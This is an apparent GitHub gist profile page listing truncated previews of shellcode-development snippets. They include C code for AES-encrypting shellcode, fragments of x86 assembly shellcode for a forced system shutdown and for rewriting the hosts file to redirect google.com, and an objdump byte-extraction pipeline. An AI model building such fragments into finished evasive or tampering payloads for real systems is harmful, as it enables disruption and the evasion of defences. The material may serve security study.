Skip to content

Instantly share code, notes, and snippets.

View ahpaleus's full-sized avatar

Maciej Domanski ahpaleus

View GitHub Profile
@ahpaleus
ahpaleus / encryption.c
Last active July 22, 2022 17:56
AES 256 bit shellcode encryption
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
int main (void)
{
/* A 256 bit key */
unsigned char *key = (unsigned char *)"01234567890123456789012345678901";
global _start
section .text
_start:
; PUSH the first null dword
xor ecx, ecx
mul ecx
push eax
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
int main (void)
{
/* Set up the key and iv. Do I need to say to not hard code these in a
* real application? :-)
*/
/*
; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
nasm -f elf32 $1.nasm -o $1.o
ld $1.o -o $1
# gdb -q ./$1
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
nasm -f elf32 $1.nasm -o $1.o
ld $1.o -o $1
# gdb -q ./$1
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
global _start
section .text
_start:
xor ebx, ebx
mul ebx
jmp short call_shellcode
shellcode:
pop esi
global _start
section .text
_start:
xor ebx, ebx
mul ebx
jmp short call_shellcode
shellcode:
pop esi
/**
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014
global _start
section .text
global _start
section .text
_start:
xor ecx, ecx
mul ecx
add al, 5
push ecx